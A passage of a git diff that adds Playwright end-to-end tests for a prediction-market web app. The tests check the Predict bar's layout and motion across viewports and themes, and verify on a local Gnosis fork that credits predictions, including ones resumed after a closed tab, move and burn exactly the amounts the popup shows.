expect(leaving).toEqual({ phase: "", height: 77, text: `Place your estimates ${chip} +2 Predict` }); + await expect(page.locator("[data-predict-dock]")).toHaveCount(0); + await expect(page.locator("[data-stuck]")).toHaveCount(0); + }); + + test("lists two picks and a count of the rest on the card", async ({ page }) => { + await openCard(page, `set=worst&theme=${theme}`); + await page.evaluate(() => window.scrollTo(0, document.documentElement.scrollHeight)); + await expect(page.locator("[data-stuck]")).toHaveCount(0); + await expect.poll(async () => (await panelBox(page)).left).toBe(16); + const list = page.getByRole("list", { name: "Your estimates" }); + const shown = list.locator("li:visible"); + await expect(shown).toHaveText([/^Greater Lisb.*1,234,567$/, "Berlin360", "+4"]); + const row = (await list.boundingBox())!; + for (const chip of await shown.all()) { + const box = (await chip.boundingBox())!; + expect(box.x + box.width).toBeLessThanOrEqual(row.x + row.width); + } + // a long name alone on its row has the row's width, not a fixed cap + const first = (await shown.first().boundingBox())!; + expect(first.width).toBeGreaterThan(Math.min(200, row.width - 40)); + expect(await sideways(page)).toBe(0); + }); + + for (const query of ["wallet=0", "status=closed"]) { + test(`draws no bar while Predict is off (${query}), and the card says why`, async ({ page }) => { + await openCard(page, `set=worst&theme=${theme}&${query}`); + await expect(page.locator("[data-predict-dock]")).toHaveCount(0); + await expect(page.getByRole("button", { name: "Predict", exact: true })).toBeVisible(); + await expect(page.getByRole("button", { name: "Predict", exact: true })).toBeDisabled(); + await expect(page.getByText(/^(Connect a wallet to predict\.|Trading has closed\.)$/)).toBeVisible(); + }); + } + + for (const [run, reason] of [ + ["stored", "Resume or discard it before starting a new one."], + ["pending", "Resume it before starting a new one."], + ] as const) { + test(`holds Predict and draws no bar while a run is ${run}, and says why with the run`, async ({ page }) => { + await openCard(page, `set=worst&rows=14&theme=${theme}&run=${run}`); + await expect(page.getByRole("button", { name: "Predict", exact: true })).toBeDisabled(); + await expect(page.locator("[data-predict-dock]")).toHaveCount(0); + await page.getByRole("heading", { name: "Place your estimates" }).scrollIntoViewIfNeeded(); + // the reason closes the run's own paragraph, and Resume sits beside or right under it + const said = page.locator("p").filter({ hasText: reason }); + await expect(said).toHaveCount(1); + await expect(said).toHaveText( + new RegExp(`^A prediction with .* did not finish\\. .*${reason.replace(".", "\\.")}$`), + ); + // Resume is the card's main button; the held Predict sits right under the run's words + const resume = page.getByRole("button", { name: "Resume" }); + await expect(resume).toBeEnabled(); + expect((await resume.boundingBox())!.height).toBe(44); + const held = page.getByRole("button", { name: "Predict", exact: true }); + // held in the disabled tone the card's own Predict has, apart from the live Discard beside it + expect(await heldTone(held)).toEqual({ fill: true, ink: true, edge: true }); + const [text, button] = [(await said.boundingBox())!, (await held.boundingBox())!]; + expect(button.y).toBeGreaterThanOrEqual(text.y); + expect(button.y).toBeLessThanOrEqual(text.y + text.height + 12); + expect(await sideways(page)).toBe(0); + }); + } + + test("draws no bar, and keeps the card's own Predict, while nothing is picked", async ({ page }) => { + await openCard(page, `set=none&rows=14&theme=${theme}`); + await expect(page.locator("[data-predict-dock]")).toHaveCount(0); + const predict = page.getByRole("button", { name: "Predict", exact: true }); + await expect(predict).not.toBeInViewport(); + await predict.scrollIntoViewIfNeeded(); + await expect(predict).toBeDisabled(); + }); + }); + } +} + +for (const theme of ["light", "dark"]) { + for (const viewport of [ + { width: 568, height: 320 }, + { width: 667, height: 375 }, + ]) { + test.describe(`the Predict card on a phone on its side, ${viewport.width} x ${viewport.height}, ${theme}`, () => { + test.use({ viewport }); + + test("pins no bar over the options and keeps Predict on the card, in place", async ({ page }) => { + await openCard(page, `set=worst&rows=14&theme=${theme}`); + await page.evaluate(() => window.scrollTo(0, 400)); + await page.waitForTimeout(300); + await expect(page.locator("[data-stuck]")).toHaveCount(0); + const dock = page.locator("[data-predict-dock]"); + expect(await dock.evaluate((element) => getComputedStyle(element).position)).toBe("static"); + const predict = page.getByRole("button", { name: /^Predict/ }).locator("visible=true"); + await expect(predict).toHaveCount(1); + await expect(predict).not.toBeInViewport(); + await predict.scrollIntoViewIfNeeded(); + await expect(predict).toBeInViewport(); + await expect(page.locator("[data-stuck]")).toHaveCount(0); + expect(await sideways(page)).toBe(0); + }); + }); + } + + test.describe(`the Predict card on a phone turned from upright to its side, ${theme}`, () => { + test.use({ viewport: { width: 375, height: 667 } }); + + test("unpins the bar when the phone turns, and pins it again when it turns back", async ({ page }) => { + await openCard(page, `set=worst&rows=14&theme=${theme}`); + await expect(page.locator("[data-stuck]")).toHaveCount(1); + await page.setViewportSize({ width: 667, height: 375 }); + await expect(page.locator("[data-stuck]")).toHaveCount(0); + await page.setViewportSize({ width: 375, height: 667 }); + await page.evaluate(() => window.scrollTo(0, 0)); + await expect(page.locator("[data-stuck]")).toHaveCount(1); + }); + }); + + test.describe(`the Predict card on a phone on its side, 844 x 390, ${theme}`, () => { + test.use({ viewport: { width: 844, height: 390 } }); + + test("pins no bar over the options and keeps Predict on the card", async ({ page }) => { + await openCard(page, `set=worst&rows=14&theme=${theme}`); + await expect(page.locator("[data-stuck]")).toHaveCount(0); + const predict = page.getByRole("button", { name: "Predict 6 estimates" }); + await predict.scrollIntoViewIfNeeded(); + await expect(predict).toBeInViewport(); + }); + }); + + test.describe(`the Predict card between 641 and 767px, ${theme}`, () => { + test.use({ viewport: { width: 700, height: 1000 } }); + + test("lines the pinned bar's first chip up with the page's gutter", async ({ page }) => { + await openCard(page, `set=normal&rows=14&theme=${theme}`); + await expect(page.locator("[data-stuck]")).toHaveCount(1); + const chip = page.getByRole("list", { name: "Your estimates" }).locator("li:visible").first(); + const heading = page.getByRole("heading", { name: "City populations" }); + expect((await chip.boundingBox())!.x).toBe((await heading.boundingBox())!.x); + }); + }); + + test.describe(`the Predict card at 768 x 1024, ${theme}`, () => { + test.use({ viewport: { width: 768, height: 1024 } }); + + test("keeps the picks on one row", async ({ page }) => { + await openCard(page, `set=worst&theme=${theme}`); + const shown = page.getByRole("list", { name: "Your estimates" }).locator("li:visible"); + const tops = new Set(); + for (const chip of await shown.all()) tops.add(Math.round((await chip.boundingBox())!.y)); + expect(tops.size).toBe(1); + expect(await sideways(page)).toBe(0); + }); + }); + + test.describe(`the Predict card's chips against the mock, ${theme}`, () => { + test.use({ viewport: { width: 1280, height: 800 } }); + + test("draws each side as a stroked arrow beside a semibold value", async ({ page }) => { + await openCard(page, `set=normal&theme=${theme}`); + const chip = page.getByRole("list", { name: "Your estimates" }).locator("li").first(); + const value = chip.locator("span").last(); + expect(await value.evaluate((element) => getComputedStyle(element).fontWeight)).toBe("600"); + const arrow = chip.getByRole("img", { name: "above the market" }); + expect(await arrow.evaluate((element) => element.querySelector("path")!.getAttribute("stroke"))).toBe( + "currentColor", + ); + }); + }); +} + +/** Puts the first pick in and reads the animation the bar arrives with, a frame later. */ +const risesWith = (page: Page) => + page.evaluate(async () => { + (window as unknown as { pickFirst: () => void }).pickFirst(); + await new Promise((done) => requestAnimationFrame(() => requestAnimationFrame(done))); + const dock = document.querySelector("[data-predict-dock]"); + return dock ? getComputedStyle(dock).animationName : null; + }); + +test.describe("the phone bar's motion", () => { + test.use({ viewport: { width: 375, height: 812 } }); + + test("rises from the bottom edge, and only on the first pick, not on scrolling back up", async ({ page }) => { + await page.emulateMedia({ reducedMotion: "no-preference" }); + await openHarness(page, `${harness.url}?set=none&rows=14`); + expect(await risesWith(page)).toBe("fsLiftIn"); + const dock = page.locator("[data-predict-dock]"); + await expect(dock).toHaveAttribute("data-stuck", ""); + await expect.poll(() => dock.evaluate((element) => element.getAnimations().length)).toBe(0); + + await page.evaluate(() => window.scrollTo(0, document.documentElement.scrollHeight)); + await expect(dock).not.toHaveAttribute("data-stuck"); + await page.evaluate(() => window.scrollTo(0, 0)); + await expect(dock).toHaveAttribute("data-stuck", ""); + expect(await dock.evaluate((element) => getComputedStyle(element).animationName)).toBe("none"); + }); + + test("docks without replaying the second chip's entrance", async ({ page }) => { + await page.emulateMedia({ reducedMotion: "no-preference" }); + await openHarness(page, `${harness.url}?set=normal&rows=14`); + await expect(page.locator("[data-stuck]")).toHaveCount(1); + // the docked card's second chip, as it was when its entrance ran on the first pick + const running = () => + page.evaluate( + () => + document + .querySelectorAll('[aria-label="Your estimates"] > li')[1]! + .getAnimations() + .filter((animation) => animation.playState === "running").length, + ); + await expect.poll(running).toBe(0); + await page.evaluate(async () => { + window.scrollTo(0, document.documentElement.scrollHeight); + await new Promise((done) => requestAnimationFrame(() => requestAnimationFrame(done))); + }); + const replayed = await running(); + await expect(page.locator("[data-stuck]")).toHaveCount(0); + expect(replayed).toBe(0); + }); + + test("does not rise when a wide window that went live long ago narrows past md", async ({ page }) => { + await page.emulateMedia({ reducedMotion: "no-preference" }); + await page.setViewportSize({ width: 1280, height: 800 }); + await openHarness(page, `${harness.url}?set=normal&rows=14`); + await expect(page.locator("[data-predict-dock]")).toHaveCount(1); + await expect(page.locator("[data-entering]")).toHaveCount(0); + await page.setViewportSize({ width: 375, height: 812 }); + const dock = page.locator("[data-predict-dock]"); + await expect(dock).toHaveAttribute("data-stuck", ""); + expect(await dock.evaluate((element) => getComputedStyle(element).animationName)).toBe("none"); + }); + + test("lets go of a leaving bar whose exit is cut short by the window widening past md", async ({ page }) => { + await page.emulateMedia({ reducedMotion: "no-preference" }); + await openHarness(page, `${harness.url}?set=normal&rows=14`); + await expect(page.locator("[data-stuck]")).toHaveCount(1); + await page.evaluate(() => (window as unknown as { clearPicks: () => void }).clearPicks()); + await expect(page.locator("[data-leaving]")).toHaveCount(1); + await page.setViewportSize({ width: 800, height: 812 }); + await expect(page.locator("[data-predict-dock]")).toHaveCount(0); + await expect(page.locator("[inert]")).toHaveCount(0); + }); + + test("fades in place under reduced motion", async ({ page }) => { + await page.emulateMedia({ reducedMotion: "reduce" }); + await openHarness(page, `${harness.url}?set=none&rows=14`); + expect(await risesWith(page)).toBe("fsFadeIn"); + }); +}); diff --git a/apps/web/e2e/tests/predict-fork-credits.spec.ts b/apps/web/e2e/tests/predict-fork-credits.spec.ts new file mode 100644 index 00000000..334565a6 --- /dev/null +++ b/apps/web/e2e/tests/predict-fork-credits.spec.ts @@ -0,0 +1,333 @@ +import { gnosis as gnosisContracts } from "@foresight/contracts"; +import type { Page } from "@playwright/test"; +import { createTestClient, erc20Abi, http, parseAbi, parseEther, publicActions, type Address } from "viem"; +import { gnosis } from "viem/chains"; + +import { shownAmount } from "@/features/predict/utils/funding"; + +import { LOCAL_RPC_URL } from "@/config/chains"; +import { creditsContracts, tradeExecutorFactoryAbi, tradeExecutorFactoryAddress } from "@/config/contracts"; + +import { expect, test, WalletFixture } from "../fixtures"; +import { grantCredits } from "../fixtures/hardhat"; +import { INDEXER_URL } from "../fixtures/indexer"; + +/** + * A credits prediction through the real popup on the gnosis fork, as hardhat's tenth account. + * Needs `yarn local-stack gnosis-fork` with a session seeded with liquidity; on another chain it skips. + */ + +const GNOSIS_CHAIN_ID = 100; +/** Hardhat's tenth account; the fork node keeps it unlocked, so the mock wallet can send as it. */ +const VISITOR: Address = "0xa0Ee7A142d267C1f36714E4a8F75612F20a79720"; +/** Gnosis' sDAI, the session collateral the credits spend as. */ +const S_DAI: Address = gnosisContracts.savingsXDaiAddress[GNOSIS_CHAIN_ID]; +const WAD = parseEther("1"); +/** Half the last decimal the popup shows, the most a shown amount can sit from the wei it stands for. */ +const HALF_SHOWN_STEP = 10n ** 14n / 2n; + +const chain = createTestClient({ chain: gnosis, mode: "hardhat", transport: http(LOCAL_RPC_URL) }).extend( + publicActions, +); + +const contracts = creditsContracts(GNOSIS_CHAIN_ID)!; +const credits = (holder: Address) => + chain.readContract({ address: contracts.credits, abi: erc20Abi, functionName: "balanceOf", args: [holder] }); +const supply = () => chain.readContract({ address: contracts.credits, abi: erc20Abi, functionName: "totalSupply" }); +const sDai = (holder: Address) => + chain.readContract({ address: S_DAI, abi: erc20Abi, functionName: "balanceOf", args: [holder] }); + +async function chainId(): Promise { + return chain.getChainId().catch(() => null); +} + +/** The newest indexed session whose options have pools, by its parent market. */ +async function seededParent(): Promise { + const response = await fetch(INDEXER_URL, { + method: "POST", + headers: { "content-type": "application/json", "x-hasura-admin-secret": "testing" }, + body: JSON.stringify({ + query: `{ Session(where: {children: {pools: {id: {_is_null: false}}}}, order_by: {openedAt: desc}, limit: 1) { parentMarket } }`, + }), + }); + const body = (await response.json()) as { data?: { Session: Array<{ parentMarket: string }> } }; + const parent = body.data?.Session[0]?.parentMarket; + if (!parent) throw new Error("No session with pools indexed. Run `yarn simulate:session:gnosis-fork --liquidity`."); + return parent; +} + +/** The visitor's trade wallet, deployed or not. */ +function executorOf(owner: Address): Promise
{ + return chain.readContract({ + address: tradeExecutorFactoryAddress(GNOSIS_CHAIN_ID)!, + abi: tradeExecutorFactoryAbi, + functionName: "predictExecutor", + args: [owner], + }); +} + +/** Everything the run touches of the visitor's, read at one moment. */ +async function ledger(executor: Address) { + return { + block: await chain.getBlockNumber({ cacheTime: 0 }), + wallet: await credits(VISITOR), + tradeWallet: await credits(executor), + supply: await supply(), + xdai: await chain.getBalance({ address: VISITOR }), + sDai: await sDai(VISITOR), + }; +} + +/** The xDAI `from` paid in fees for the transactions it sent after block `since`. */ +async function gasPaidSince(from: Address, since: bigint): Promise { + let paid = 0n; + const head = await chain.getBlockNumber({ cacheTime: 0 }); + for (let number = since + 1n; number <= head; number++) { + const block = await chain.getBlock({ blockNumber: number, includeTransactions: true }); + for (const tx of block.transactions) { + if (tx.from.toLowerCase() !== from.toLowerCase()) continue; + const receipt = await chain.getTransactionReceipt({ hash: tx.hash }); + paid += receipt.gasUsed * receipt.effectiveGasPrice; + } + } + return paid; +} + +/** The newest indexed session's page, with the visitor connected. */ +async function openSession(page: Page, wallet: { connect: (account: Address) => Promise }) { + // the session is one the indexer already holds; the run itself reads the chain + await page.goto(`/market/${await seededParent()}`); + await wallet.connect(VISITOR); +} + +/** + * Opens the newest indexed session as the visitor, nudges its first option `presses` steps `toward` + * and opens the popup. Each test nudges to its own estimate, so each leaves the next one a move. + */ +async function openPopup( + page: Page, + wallet: { connect: (account: Address) => Promise }, + toward: "ArrowLeft" | "ArrowRight", + presses = 2, +) { + await openSession(page, wallet); + + await page + .getByRole("button") + .filter({ has: page.getByRole("heading", { level: 3 }) }) + .first() + .click(); + const slider = page.getByRole("slider").first(); + await expect(slider).toBeEnabled({ timeout: 30_000 }); + await slider.focus(); + for (let press = 0; press < presses; press++) await page.keyboard.press(toward); + + await page.getByRole("button", { name: /^Predict (\d+ )?estimates?$/ }).click(); + const popup = page.getByRole("dialog"); + // ticked by default once credits can be spent + await expect(popup.getByRole("checkbox", { name: "Use Foresight credits" })).toBeChecked({ timeout: 30_000 }); + return popup; +} + +/** + * Closes the tab at the trade wallet's first batch: before the node sees it, or once it has mined + * with its hash kept from the page. Resolves when the batch is reached. + */ +async function closeAtBatch(page: Page, executor: Address, when: "before" | "after"): Promise { + return new Promise((reached) => { + void page.route( + (url) => url.port === "8545", + async (route) => { + const body = route.request().postDataJSON() as unknown; + const calls = (Array.isArray(body) ? body : [body]) as Array<{ method?: string; params?: [{ to?: string }] }>; + const isBatch = calls.some( + (call) => + call.method === "eth_sendTransaction" && call.params?.[0]?.to?.toLowerCase() === executor.toLowerCase(), + ); + if (!isBatch) return route.continue(); + if (when === "after") { + const response = await route.fetch(); + const { result } = (await response.json()) as { result: `0x${string}` }; + await chain.waitForTransactionReceipt({ hash: result }); + } + // the page never hears back, as a closed tab would not + reached(); + }, + ); + }); +} + +/** How many transactions `from` sent to `to` after block `since`. */ +async function sentSince(from: Address, to: Address, since: bigint): Promise { + let count = 0; + const head = await chain.getBlockNumber({ cacheTime: 0 }); + for (let number = since + 1n; number <= head; number++) { + const block = await chain.getBlock({ blockNumber: number, includeTransactions: true }); + count += block.transactions.filter( + (tx) => tx.from.toLowerCase() === from.toLowerCase() && tx.to?.toLowerCase() === to.toLowerCase(), + ).length; + } + return count; +} + +test.describe("a credits prediction on the gnosis fork", () => { + test.beforeEach(async () => { + test.skip((await chainId()) !== GNOSIS_CHAIN_ID, "needs `yarn local-stack gnosis-fork`"); + test.setTimeout(300_000); + }); + + test("spends the credits the popup shows, adds nothing from the wallet, and counts the estimate placed", async ({ + page, + wallet, + }) => { + const executor = await executorOf(VISITOR); + const shown = parseEther("2"); + if ((await credits(VISITOR)) + (await credits(executor)) < shown) { + await grantCredits(contracts.credits, VISITOR, shown); + } + const before = await ledger(executor); + + const popup = await openPopup(page, wallet, "ArrowLeft"); + // the visitor holds only xDAI, which the popup picks by default; credits are sDAI shares + await popup.getByRole("button", { name: /Token/ }).click(); + await page.getByRole("option", { name: "sDAI" }).click(); + const amount = popup.getByRole("spinbutton", { name: "Amount" }); + await amount.fill("2"); + await amount.blur(); + await expect(popup.getByText("≈ 2 sDAI from your credits")).toBeVisible(); + await expect(popup.getByText("Add funds")).toBeVisible(); + const fromWallet = shown > before.tradeWallet ? shown - before.tradeWallet : 0n; + if (fromWallet > 0n) + await expect(popup.getByText(`${shownAmount(fromWallet, 18)} credits`, { exact: true })).toBeVisible(); + + await popup.getByRole("button", { name: "Predict", exact: true }).click(); + const success = page.getByRole("dialog", { name: "Prediction successful" }); + await expect(success).toBeVisible({ timeout: 240_000 }); + await expect(success.getByText("1 estimate · 2 sDAI")).toBeVisible(); + + // what the popup showed is what moved and burned, to the wei, and nothing else of the visitor's + const after = await ledger(executor); + expect(before.wallet - after.wallet, "credits moved from the wallet").toBe(fromWallet); + expect(before.supply - after.supply, "credits burned").toBe(shown); + expect(after.tradeWallet, "credits left in the trade wallet").toBe(before.tradeWallet + fromWallet - shown); + expect(after.sDai, "the wallet's sDAI").toBe(before.sDai); + expect(before.xdai - after.xdai, "the wallet's xDAI, gas aside").toBe(await gasPaidSince(VISITOR, before.block)); + }); + + test("with xDAI, spends every credit held first and deposits the xDAI shown for the rest", async ({ + page, + wallet, + }) => { + const executor = await executorOf(VISITOR); + if ((await credits(VISITOR)) + (await credits(executor)) < parseEther("2")) { + await grantCredits(contracts.credits, VISITOR, parseEther("2")); + } + const before = await ledger(executor); + const held = before.wallet + before.tradeWallet; + expect(held % 10n ** 14n, "whole shown decimals, so every credit held is spent").toBe(0n); + + // one sDAI's worth of xDAI past the credits, in whole xDAI, so the wallet pays a part + const rate = await chain.readContract({ + address: S_DAI, + abi: parseAbi(["function convertToAssets(uint256 shares) view returns (uint256)"]), + functionName: "convertToAssets", + args: [WAD], + }); + const typed = ((held + WAD) * rate) / WAD / WAD + 1n; + + const popup = await openPopup(page, wallet, "ArrowRight"); + await expect(popup.getByRole("button", { name: /Token/ })).toContainText("xDAI"); + const amount = popup.getByRole("spinbutton", { name: "Amount" }); + await amount.fill(typed.toString()); + await amount.blur(); + await expect( + popup.getByText( + new RegExp( + `^≈ [\\d.,]+ sDAI = ${shownAmount(held, 18).replace(/[.,]/g, "\\$&")} in credits \\+ [\\d.,]+ from your wallet$`, + ), + ), + ).toBeVisible(); + // the step keeps each part whole with no-break spaces + // credits lead the funds step, which keeps it apart from the balance figure + const step = popup.getByText(/\+\s[\d.,]+\sxDAI$/); + await expect(step).toBeVisible(); + const deposit = parseEther((await step.textContent())!.match(/([\d.,]+)\sxDAI$/)![1]!.replace(/,/g, "")); + + await popup.getByRole("button", { name: "Predict", exact: true }).click(); + const success = page.getByRole("dialog", { name: "Prediction successful" }); + await expect(success).toBeVisible({ timeout: 240_000 }); + await expect(success.getByText(`1 estimate · ${typed} xDAI`)).toBeVisible(); + + // every credit held burned once, the wallet's moved and none left; the xDAI paid is the xDAI shown + const after = await ledger(executor); + expect(before.supply - after.supply, "credits burned").toBe(held); + expect(after.wallet, "credits left in the wallet").toBe(0n); + expect(after.tradeWallet, "credits left in the trade wallet").toBe(0n); + expect(after.sDai, "the wallet's sDAI").toBe(before.sDai); + expect(deposit, "the wallet pays a part in xDAI").toBeGreaterThan(0n); + const paid = before.xdai - after.xdai - (await gasPaidSince(VISITOR, before.block)); + const off = paid > deposit ? paid - deposit : deposit - paid; + expect(off, `paid ${paid} xDAI wei against the ${deposit} shown`).toBeLessThanOrEqual(HALF_SHOWN_STEP); + }); + + for (const [when, toward] of [ + ["before", "ArrowLeft"], + ["after", "ArrowRight"], + ] as const) { + test(`resumed after the tab closed ${when === "before" ? "after Add credits" : "as the batch landed"}, moves and burns the credits once`, async ({ + page, + wallet, + context, + }) => { + const executor = await executorOf(VISITOR); + const shown = parseEther("2"); + if ((await credits(VISITOR)) + (await credits(executor)) < shown) { + await grantCredits(contracts.credits, VISITOR, shown); + } + const before = await ledger(executor); + const fromWallet = shown > before.tradeWallet ? shown - before.tradeWallet : 0n; + + const popup = await openPopup(page, wallet, toward, 4); + await popup.getByRole("button", { name: /Token/ }).click(); + await page.getByRole("option", { name: "sDAI" }).click(); + const amount = popup.getByRole("spinbutton", { name: "Amount" }); + await amount.fill("2"); + await amount.blur(); + await expect(popup.getByText("≈ 2 sDAI from your credits")).toBeVisible(); + + const closed = closeAtBatch(page, executor, when); + await popup.getByRole("button", { name: "Predict", exact: true }).click(); + await closed; + // closing skips the page's own handling of the unanswered send, as a closed tab would + await page.close({ runBeforeUnload: false }); + expect(await credits(executor), "the trade wallet's credits as the tab closed").toBe( + when === "before" ? before.tradeWallet + fromWallet : before.tradeWallet + fromWallet - shown, + ); + + const reopened = await context.newPage(); + await openSession(reopened, new WalletFixture({ page: reopened })); + await expect(reopened.getByText("A prediction with 2 in credits did not finish.")).toBeVisible({ + timeout: 30_000, + }); + await reopened.getByRole("button", { name: "Resume", exact: true }).click(); + const resume = reopened.getByRole("dialog").getByRole("button", { name: "Resume", exact: true }); + await expect(resume).toBeEnabled({ timeout: 60_000 }); + await resume.click(); + const success = reopened.getByRole("dialog", { name: "Prediction successful" }); + await expect(success).toBeVisible({ timeout: 240_000 }); + await expect(success.getByText("1 estimate · 2 sDAI")).toBeVisible(); + + // one transfer, one batch, and the credits shown burned once + const after = await ledger(executor); + expect(await sentSince(VISITOR, contracts.credits, before.block), "credits transfers").toBe( + fromWallet > 0n ? 1 : 0, + ); + expect(await sentSince(VISITOR, executor, before.block), "batches sent").toBe(1); + expect(before.wallet - after.wallet, "credits moved from the wallet").toBe(fromWallet); + expect(before.supply - after.supply, "credits burned").toBe(shown); + expect(after.tradeWallet, "credits left in the trade wallet").toBe(before.tradeWallet + fromWallet - shown); + expect(after.sDai, "the wallet's sDAI").toBe(before.sDai); + expect(before.xdai - after.xdai, "the wallet's xDAI, gas aside").toBe(await gasPaidSince(VISITOR, before.block)); + }); + } +}); diff --git a/apps/web/e2e/tests/predict-fork.spec.ts b/apps/web/e2e/tests/predict-fork.spec.ts new file mode 100644 index 00000000..e952ea1d --- /dev/null +++ b/apps/web/e2e/tests/predict-fork.spec.ts @@ -0,0 +1,118 @@ +import { execFile } from "node:child_process"; +import { promisify } from "node:util"; + +import { LOCAL_RPC_URL } from "@/config/chains"; + +import { expect, test } from "../fixtures"; + +/** + * A session seeded on the gnosis fork, on its predict page. Needs `yarn local-stack gnosis-fork`; + * against the plain localhost stack it skips. + */ + +const GNOSIS_CHAIN_ID = 100; +const exec = promisify(execFile); + +async function chainId(): Promise { + const response = await fetch(LOCAL_RPC_URL, { + method: "POST", + headers: { "content-type": "application/json" }, + body: JSON.stringify({ jsonrpc: "2.0", id: 1, method: "eth_chainId", params: [] }), + }).catch(() => null); + if (!response?.ok) return null; + return Number(((await response.json()) as { result: string }).result); +} + +/** Seeds a session with pools the way an agent would, and returns its parent market. */ +async function seedSession(): Promise { + const { stdout: root } = await exec("git", ["rev-parse", "--show-toplevel"]); + const { stdout } = await exec("yarn", ["simulate:session:gnosis-fork", "--liquidity"], { + cwd: root.trim(), + maxBuffer: 16 * 1024 * 1024, + }); + const parent = stdout.match(/parent\s+(0x[0-9a-fA-F]{40})/)?.[1]; + if (!parent) throw new Error(`The seed printed no parent market:\n${stdout}`); + return parent; +} + +test.describe("a session seeded on the gnosis fork", () => { + test.describe.configure({ mode: "serial" }); + + const parents: string[] = []; + + test.beforeAll(async () => { + test.skip((await chainId()) !== GNOSIS_CHAIN_ID, "needs `yarn local-stack gnosis-fork`"); + test.setTimeout(900_000); + const { stdout: root } = await exec("git", ["rev-parse", "--show-toplevel"]); + await exec("yarn", ["workspace", "@foresight/contracts", "build"], { cwd: root.trim() }); + parents.push(await seedSession()); + parents.push(await seedSession()); + }); + + for (const [index, which] of ["first", "second"].entries()) { + test(`the ${which} seeded session is trading and Predict enables once an estimate moves`, async ({ + page, + wallet, + indexer, + }) => { + await indexer.caughtUp(); + const parent = parents[index]!; + + await page.goto(`/market/${parent}`); + await wallet.connect("alice"); + + // the countdown is shown only while the session is trading + await expect(page.getByText("Countdown")).toBeVisible({ timeout: 30_000 }); + await expect(page.getByText("Closed", { exact: true })).toHaveCount(0); + + const predict = page.getByRole("button", { name: /^Predict (\d+ )?estimates?$/ }); + await expect(predict).toBeVisible(); + await expect(predict).toBeDisabled(); + + // each option is a collapsed card whose slider renders once it is opened + await page + .getByRole("button") + .filter({ has: page.getByRole("heading", { level: 3 }) }) + .first() + .click(); + const slider = page.getByRole("slider").first(); + await expect(slider).toBeEnabled({ timeout: 30_000 }); + await slider.focus(); + await page.keyboard.press("ArrowRight"); + await page.keyboard.press("ArrowRight"); + + // Predict is off without a wallet or outside trading; each is named apart from the button + await expect(page.getByText("Connect a wallet to predict.")).toHaveCount(0); + await expect(page.getByText("Countdown")).toBeVisible(); + await expect(predict).toBeEnabled(); + }); + } + + test("a visitor places a prediction on a seeded session and sees it placed", async ({ page, wallet, indexer }) => { + test.setTimeout(300_000); + await indexer.caughtUp(); + await page.goto(`/market/${parents[0]}`); + await wallet.connect("alice"); + + await page + .getByRole("button") + .filter({ has: page.getByRole("heading", { level: 3 }) }) + .first() + .click(); + const slider = page.getByRole("slider").first(); + await expect(slider).toBeEnabled({ timeout: 30_000 }); + await slider.focus(); + await page.keyboard.press("ArrowRight"); + await page.keyboard.press("ArrowRight"); + + await page.getByRole("button", { name: /^Predict (\d+ )?estimates?$/ }).click(); + const popup = page.getByRole("dialog"); + const amount = popup.getByRole("spinbutton", { name: "Amount" }); + await amount.fill("5"); + await amount.blur(); + await popup.getByRole("button", { name: "Predict", exact: true }).click(); + + // the dev wallet signs each step; the run ends in the success dialog, not a failure + await expect(page.getByRole("dialog", { name: "Prediction successful" })).toBeVisible({ timeout: 240_000 }); + }); +}); diff --git a/apps/web/e2e/tests/predict-popup-credits.spec.ts b/apps/web/e2e/tests/predict-popup-credits.spec.ts new file mode 100644 index 00000000..f2870c47 --- /dev/null +++ b/apps/web/e2e/tests/predict-popup-credits.spec.ts @@ -0,0 +1,318 @@ +import { expect, test, type Locator, type Page } from "@playwright/test"; + +import { openHarness, startHarness } from "../utils/component-harness"; + +/** `?credits=` in e2e/harness/predict-popup/main.tsx. */ +const CREDIT_STATES = ["enough", "partial", "short", "long", "empty", "whale"] as const; +/** The states with nothing usable, which offer no tick. */ +const NONE_USABLE: readonly string[] = ["empty", "whale"]; +const NOTES: Record<(typeof CREDIT_STATES)[number], string> = { + enough: "15 credits available", + partial: "4 credits available", + short: "20 of 50 usable now", + long: "81.7347 of 2,000 usable now", + empty: "None usable now. Use your own funds.", + whale: "None usable now. Use your own funds.", +}; +const TICK = "Use Foresight credits"; +const STEPS = ["Create a trade wallet", "Add funds", "Place prediction"]; +const VIEWPORTS = [ + { width: 1280, height: 800 }, + { width: 375, height: 667 }, + { width: 320, height: 568 }, +]; + +let harness: Awaited>; + +test.beforeAll(async () => { + harness = await startHarness("predict-popup"); +}); + +test.afterAll(async () => { + await harness?.close(); +}); + +async function openCredits(page: Page, credits: string, theme: string) { + await openHarness(page, `${harness.url}?options=2&state=idle&credits=${credits}&theme=${theme}`); + const dialog = page.getByRole("dialog"); + await expect(dialog.getByRole("button", { name: "Close" })).toBeVisible(); + await dialog.evaluate((element) => + Promise.all( + element + .getAnimations({ subtree: true }) + .filter((animation) => animation.effect?.getTiming().iterations !== Infinity) + // the cue's nudge ends where it starts, and waiting it out would end it + .filter((animation) => (animation as CSSAnimation).animationName !== "fsNudgeDown") + .map((animation) => animation.finished.catch(() => undefined)), + ), + ); + return dialog; +} + +/** The boxes the credits line must hold still: the line, the dialog, its button and the body's height. */ +async function footprint(dialog: Locator) { + const round = (value: number) => Math.round(value * 10) / 10; + const box = async (locator: Locator) => { + const rect = (await locator.boundingBox())!; + return [rect.x, rect.y, rect.width, rect.height].map(round); + }; + return { + line: await box(dialog.getByTestId("credits-line")), + dialog: await box(dialog), + footer: await box(dialog.locator(".predict-footer > .predict-cta")), + body: round(await dialog.getByTestId("predict-body").evaluate((element) => element.scrollHeight)), + }; +} + +/** The tick's label, the visitor's target; its words change with the panel's width. */ +function tickLabel(dialog: Locator): Locator { + return dialog.locator("label").filter({ has: dialog.page().getByRole("checkbox", { name: TICK }) }); +} + +/** True when the element's box sits inside its panel and none of its text is cut. */ +function sitsWhole(locator: Locator): Promise { + return locator.evaluate((element) => { + const box = element.getBoundingClientRect(); + const panel = element.closest("[data-panel=amount]")!.getBoundingClientRect(); + const cut = [element, ...element.querySelectorAll("*")].some( + (child) => child.scrollWidth > child.clientWidth + 1 && getComputedStyle(child).overflow !== "visible", + ); + return !cut && box.left >= panel.left && box.right <= panel.right && box.bottom <= panel.bottom; + }); +} + +for (const viewport of VIEWPORTS) { + for (const theme of ["light", "dark"]) { + test.describe(`the credits line at ${viewport.width} x ${viewport.height}, ${theme}`, () => { + test.use({ viewport }); + + test("holds one footprint and fits its words in every state", async ({ page }, testInfo) => { + const pageErrors: string[] = []; + page.on("pageerror", (error) => pageErrors.push(error.message)); + const footprints: Record>> = {}; + + for (const credits of CREDIT_STATES) { + const dialog = await openCredits(page, credits, theme); + const line = 